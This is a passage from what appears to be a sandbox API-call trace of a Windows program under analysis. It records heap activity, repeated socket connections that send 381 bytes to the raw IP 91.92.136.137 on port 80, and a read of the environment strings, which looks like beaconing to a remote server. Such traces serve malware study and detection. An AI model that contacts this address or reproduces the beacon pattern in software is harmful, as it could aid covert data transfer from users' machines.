lpMem=0x54b7e8 | out: hHeap=0x510000) returned 1 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0048.561] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a380 | out: hHeap=0x510000) returned 1 [0048.561] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae370 | out: lpWSAData=0x4ae370) returned 0 [0048.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5400f8 [0048.566] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0048.566] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5400f8 | out: hHeap=0x510000) returned 1 [0048.567] WSACreateEvent () returned 0x184 [0048.567] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1f4 [0048.570] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0048.585] htons (hostshort=0x50) returned 0x5000 [0048.585] connect (s=0x1f4, name=0x4ae094*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0048.623] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd48 [0048.623] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x540620 [0048.624] GetLastError () returned 0x0 [0048.624] send (s=0x1f4, buf=0x543a38*, len=381, flags=0) returned 381 [0048.624] Sleep (dwMilliseconds=0x32) [0048.682] WSARecv (in: s=0x1f4, lpBuffers=0x4ae084, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae08c, lpFlags=0x4ae0a4*=0x0, lpOverlapped=0x4ae070, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae084*=((len=0x1ff, buf=0x4ae0c0*)), lpNumberOfBytesRecvd=0x4ae08c*=0x0, lpFlags=0x4ae0a4*=0x0, lpOverlapped=0x4ae070) returned 0 [0048.682] WSAGetLastError () returned 997 [0048.682] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae090*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0050.665] WSAResetEvent (hEvent=0x184) returned 1 [0050.665] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0x4ae070, lpcbTransfer=0x4ae08c, fWait=0, lpdwFlags=0x4ae0a4 | out: lpcbTransfer=0x4ae08c, lpdwFlags=0x4ae0a4) returned 1 [0050.665] WSARecv (in: s=0x1f4, lpBuffers=0x4ae084, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae08c, lpFlags=0x4ae0a4*=0x0, lpOverlapped=0x4ae070, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae084*=((len=0x1ff, buf=0x4ae0c0*)), lpNumberOfBytesRecvd=0x4ae08c*=0x0, lpFlags=0x4ae0a4*=0x0, lpOverlapped=0x4ae070) returned 0 [0050.665] WSAGetLastError () returned 997 [0050.665] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae090*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0050.864] WSAResetEvent (hEvent=0x184) returned 1 [0050.864] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0x4ae070, lpcbTransfer=0x4ae08c, fWait=0, lpdwFlags=0x4ae0a4 | out: lpcbTransfer=0x4ae08c, lpdwFlags=0x4ae0a4) returned 1 [0050.864] WSAGetLastError () returned 0 [0050.864] WSASetEvent (hEvent=0x184) returned 1 [0050.864] WSACloseEvent (hEvent=0x184) returned 1 [0050.864] closesocket (s=0x1f4) returned 0 [0050.865] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540620 | out: hHeap=0x510000) returned 1 [0050.865] WSACleanup () returned 0 [0050.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x547c78 [0050.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0050.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x547d20 [0050.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547c78 | out: hHeap=0x510000) returned 1 [0050.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd48 [0050.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0050.868] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x547c78 [0050.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547d20 | out: hHeap=0x510000) returned 1 [0050.868] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd48 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x547d20 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd48 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x547db8 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547d20 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x547d20 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547db8 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd48 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544c48 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd48 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x5287c8 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd48 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x547db8 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5287c8 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544c48 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x547e30 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x540de0 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547e30 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x547e30 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x540e58 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547e30 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cd48 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0050.869] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x547e30 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540e58 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cd48 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540de0 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547db8 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547d20 | out: hHeap=0x510000) returned 1 [0050.869] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547c78 | out: hHeap=0x510000) returned 1 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5287c8 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x547c78 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5287c8 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x547ce0 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547c78 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd8) returned 0x540de0 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ce0 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x138) returned 0x547c78 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540de0 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c8) returned 0x540de0 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547c78 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2a0) returned 0x542258 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540de0 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x3f0) returned 0x542500 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542258 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e8) returned 0x543a38 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542500 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8d0) returned 0x54a5f8 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd38) returned 0x54aed0 [0050.870] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0050.870] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x13eb) returned 0x54bc10 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aed0 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1dc3) returned 0x54d008 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bc10 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x2c93) returned 0x54edd8 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d008 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x42cb) returned 0x54a5f8 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54edd8 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543598 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5435c0 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543660 [0050.871] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.871] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6413) returned 0x54e8d0 [0050.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5436d8 [0050.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5436b0 [0050.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0050.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5287c8 [0050.872] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543688 [0050.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0050.872] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.872] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae344 | out: lpWSAData=0x4ae344) returned 0 [0050.877] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543368 [0050.877] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cc30 [0050.877] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543368 | out: hHeap=0x510000) returned 1 [0050.877] WSACreateEvent () returned 0x208 [0050.877] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x178 [0050.879] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0050.891] htons (hostshort=0x50) returned 0x5000 [0050.891] connect (s=0x178, name=0x4ae06c*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0050.948] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cca0 [0050.948] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434d0 [0050.948] GetLastError () returned 0x0 [0050.948] send (s=0x178, buf=0x543ca0*, len=381, flags=0) returned 381 [0050.948] Sleep (dwMilliseconds=0x32) [0051.006] WSARecv (in: s=0x178, lpBuffers=0x4ae05c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae064, lpFlags=0x4ae07c*=0x0, lpOverlapped=0x4ae048, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae05c*=((len=0x1ff, buf=0x4ae098*)), lpNumberOfBytesRecvd=0x4ae064*=0x0, lpFlags=0x4ae07c*=0x0, lpOverlapped=0x4ae048) returned 0 [0051.006] WSAGetLastError () returned 997 [0051.007] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae068*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0053.319] WSAResetEvent (hEvent=0x208) returned 1 [0053.319] WSAGetOverlappedResult (in: s=0x178, lpOverlapped=0x4ae048, lpcbTransfer=0x4ae064, fWait=0, lpdwFlags=0x4ae07c | out: lpcbTransfer=0x4ae064, lpdwFlags=0x4ae07c) returned 1 [0053.319] WSARecv (in: s=0x178, lpBuffers=0x4ae05c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae064, lpFlags=0x4ae07c*=0x0, lpOverlapped=0x4ae048, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae05c*=((len=0x1ff, buf=0x4ae098*)), lpNumberOfBytesRecvd=0x4ae064*=0x0, lpFlags=0x4ae07c*=0x0, lpOverlapped=0x4ae048) returned 0 [0053.319] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae068*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0053.319] WSAResetEvent (hEvent=0x208) returned 1 [0053.319] WSAGetOverlappedResult (in: s=0x178, lpOverlapped=0x4ae048, lpcbTransfer=0x4ae064, fWait=0, lpdwFlags=0x4ae07c | out: lpcbTransfer=0x4ae064, lpdwFlags=0x4ae07c) returned 1 [0053.319] WSAGetLastError () returned 0 [0053.319] WSASetEvent (hEvent=0x208) returned 1 [0053.319] WSACloseEvent (hEvent=0x208) returned 1 [0053.319] closesocket (s=0x178) returned 0 [0053.319] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434d0 | out: hHeap=0x510000) returned 1 [0053.320] WSACleanup () returned 0 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x547d88 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x543a38 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547d88 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cca0 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa0) returned 0x547d88 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cca0 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x543a38 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cca0 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x543ad0 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x543a38 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543ad0 | out: hHeap=0x510000) returned 1 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cca0 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544c48 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5435e8 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cca0 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5435e8 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x528868 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cca0 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x543ad0 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528868 | out: hHeap=0x510000) returned 1 [0053.323] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544c48 | out: hHeap=0x510000) returned 1 [0053.323] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x543b48 [0053.324] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x70) returned 0x543bc0 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543b48 | out: hHeap=0x510000) returned 1 [0053.324] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x543c38 [0053.324] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0053.324] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x543b48 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543c38 | out: hHeap=0x510000) returned 1 [0053.324] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cca0 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543b48 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cca0 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543bc0 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543ad0 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547d88 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cc30 | out: hHeap=0x510000) returned 1 [0053.324] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543ca0 | out: hHeap=0x510000) returned 1 [0053.324] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae2b0 | out: lpWSAData=0x4ae2b0) returned 0 [0053.328] GetEnvironmentStringsW () returned 0x54a5f8* [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xaca) returned 0x54b0d0 [0053.328] FreeEnvironmentStringsW (penv=0x54a5f8) returned 1 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x98) returned 0x547d88 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3e) returned 0x5241c0 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6c) returned 0x540de0 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x6e) returned 0x540e58 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x78) returned 0x51fe00 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x62) returned 0x540ed0 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x52cc30 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x528868 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x28) returned 0x52c6a8 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a) returned 0x5435e8 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4a) returned 0x544c48 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x72) returned 0x51fe80 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52cca0 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x52cd10 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x543520 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xd2) returned 0x540f40 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x7c) returned 0x541020 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x549610 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3a) returned 0x524208 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x90) returned 0x542258 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x52c6d8 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52ccd8 [0053.328] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x36) returned 0x549650 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x48) returned 0x528778 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x541810 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x524298 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x82) returned 0x5422f0 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2e) returned 0x52cd48 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1e) returned 0x543430 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2c) returned 0x52cdb8 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x541690 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x52) returned 0x5416f0 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x2a) returned 0x52cdf0 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x524328 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x54) returned 0x541750 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x24) returned 0x52c708 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52ce28 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x8c) returned 0x542380 [0053.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b0d0 | out: hHeap=0x510000) returned 1 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543458 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce60 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5432f0 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543408 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 